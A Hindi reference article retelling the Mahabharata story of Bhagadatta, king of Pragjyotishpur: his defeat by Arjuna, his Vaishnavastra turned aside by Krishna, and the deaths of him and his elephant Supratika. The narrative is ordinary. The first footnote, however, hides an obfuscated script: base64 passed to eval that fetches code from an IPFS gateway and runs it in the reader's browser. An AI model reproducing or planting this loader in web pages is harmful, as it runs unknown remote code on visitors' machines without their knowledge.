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भगदत्त (नरकासुर पुत्र)

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भगदत्त नामक एक पौराणिक पात्र का उल्लेख महाकाव्य 'महाभारत' में मिलता है। यह प्राग्ज्योतिषपुर का राजा तथा नरकासुर का ज्येष्ठ पुत्र था। श्रीकृष्ण ने नरकासुर को मारकर भगदत्त को सिंहासनारूढ़ कराया था। वहाँ श्रीकृष्ण ने भौमासुर द्वारा राजाओं को जीतकर हारी गयी 16000 हज़ार राजकन्याओं को देखा। उन्होंने सुन्दर वस्त्र एवं आभूषण पहनाकर पालकियों द्वारा उन राजकन्याओं को, बहुत-से घोड़ों को तथा ऐरावत कुल में उत्पन्न हुए चतुर्दन्त 64 सफ़ेद हाथियों को द्वारिका भेजा।[1] युधिष्ठिर के 'राजसूय यज्ञ' के समय भगदत्त अर्जुन से आठ दिनों तक लड़ा, पर अंत में परास्त होकर उसने युधिष्ठिर की अधीनता स्वीकार कर ली। महाभारत के युद्ध में भगदत्त कौरवों की ओर से लड़ा तथा बड़ी वीरता का प्रदर्शन किया। अन्त में वह और उसका हाथी सुप्रतीक, दोनों अर्जुन के हाथों मारे गये।

महाभारत युद्ध में अर्जुन से सामना

महाभारत द्रोण पर्व में उल्लेख मिलता है कि जब भगवत्त और अर्जुन का घमासान युद्ध चल रहा था, तब अर्जुन ने भगदत्त के धनुष को काटकर उसके तूणीरों के भी टुकड़े-टुकड़े कर दिये। फिर तुरंत ही बहत्तर बाणों से उसके सम्‍पूर्ण मर्मस्‍थानों में गहरी चोट पहुँचायी। अर्जुन के उन बाणों से घायल होकर अत्‍यन्‍त पीड़ित हो भगदत्त ने वैष्णवास्त्र प्रकट किया। उसने कुपित हो अपने अंकुश को ही वैष्‍णवास्‍त्र से अभिमन्त्रित करके पाण्‍डुनन्‍दन अर्जुन की छाती पर छोड़ दिया। भगदत्त का छोड़ा हुआ अस्त्र सबका विनाश करने वाला था। भगवान श्रीकृष्‍ण ने अर्जुन को ओट में करके स्‍वयं ही अपनी छाती पर उसकी चोट सह ली।[2] श्रीकृष्ण से अर्जुन से कहा- "मैंने तुम्‍हारी रक्षा के लिये भगदत्त के उस अस्‍त्र को दूसरे प्रकार से उसके पास से हटा दिया है। पार्थ! अब वह महान् असुर उस उत्‍कृष्‍ट अस्‍त्र से वंचित हो गया है। अत: तुम उसे मार डालो।"[3] महात्‍मा केशव के ऐसा कहने पर कुन्‍तीकुमार अर्जुन उसी समय भगदत्त पर सहसा पैने बाणों की वर्षा करने लगे।

भगदत्त के हाथी का अंत

महाबाहु महामना पार्थ ने बिना किसी घबराहट के भगदत्त के पराक्रमी हाथी सुप्रतीक के कुम्‍भस्‍थल में एक नाराच का प्रहार किया। वह नाराच उस हाथी के मस्‍तक पर पहुँचकर उसी प्रकार लगा, जैसे वज्र पर्वत पर चोट करता है। जैसे सर्प बाँबी में समा जाता है, उसी प्रकार वह बाण हाथी के कुम्‍भस्‍थल में पंख सहित घुस गया। वह हाथी बारंबार भगदत्त के हाँकने पर भी उसकी आज्ञा का पालन नहीं करता था, जैसे दुष्‍टा स्त्री अपने दरिद्र स्‍वामी की बात नहीं मानती है। उस महान् गजराज ने अपने अंगों को निश्‍चेष्‍ट करके दोनों दाँत धरती पर टेक दिये और आर्त स्‍वर से चीत्‍कार करके प्राण त्‍याग दिये।

अर्जुन द्वारा भगदत्त का वध

भगवान श्रीकृष्‍ण ने गाण्‍डीवधारी अर्जुन से कहा- "कुन्‍तीनन्‍दन! यह भगदत्त बहुत बड़ी अवस्‍था का है। इसके सारे बाल पक गये हैं और ललाट आदि अंगों में झुर्रियाँ पड़ जाने के कारण पलकें झपी रहने से इसके नेत्र प्राय: बंद से रहते हैं। यह शूरवीर तथा अत्‍यन्‍त दुर्जय है। इस राजा ने अपने दोनों नेत्रों को खुले रखने के लिये पलकों को कपड़े की पट्टी से ललाट में बाँध रखा है।" भगवान श्रीकृष्‍ण के कहने से अर्जुन ने बाण मारकर भगदत्त के शिर की पट्टी अत्‍यन्‍त छिन्‍न-भिन्‍न कर दी। उस पट्टी के कटते ही भगदत्त की आँखें बंद हो गयीं। फिर तो प्रतापी भगदत्त को सारा जगत् अन्‍धकारमय प्रतीत होने लगा। उस समय झुकी हुई गाँठ वाले एक अर्धचन्‍द्राकार बाण के द्वारा पाण्‍डुनन्‍दन अर्जुन ने राजा भगदत्त के वक्ष:स्‍थल को विदीर्ण कर दिया। किरीटधारी अर्जुन के द्वारा हृदय विदीर्ण कर दिये जाने पर राजा भगदत्त ने प्राणशून्‍य हो अपने धनुष-बाण त्‍याग दिये। उसके सिर से पगड़ी और पट्टी का वह सुन्‍दर वस्‍त्र खिसककर गिर गया, जैसे कमलनाल के ताडन से उसका पत्‍ता टूट कर गिर जाता है। सोने के आभूषणों से विभूषित उस पर्वताकार हाथी से सुवर्णमालाधारी भगदत्त पृथ्वी पर गिर पड़ा, मानो सुन्‍दर पुष्‍पों से सुशोभित कनेर का वृक्ष हवा के वेग से टूट कर पर्वत के शिखर से नीचे गिर पड़ा हो। इस प्रकार इन्‍द्रकुमार अर्जुन ने इन्‍द्र के सखा तथा इन्‍द्र के समान ही पराक्रमी राजा भगदत्त को युद्ध में मारकर कौरव सेना के अन्‍य विजयालिभाषी वीर पुरुषों को भी उसी प्रकार मार गिराया, जैसे प्रबल वायु वृक्षों को उखाड़ फेंकती है।[4]


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 365 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. महाभारत द्रोण पर्व अध्याय 29 श्लोक 1-18
  3. महाभारत द्रोण पर्व, अध्याय 29, श्लोक 36-51
  4. महाभारत द्रोण पर्व, अध्याय 29, श्लोक 36-51

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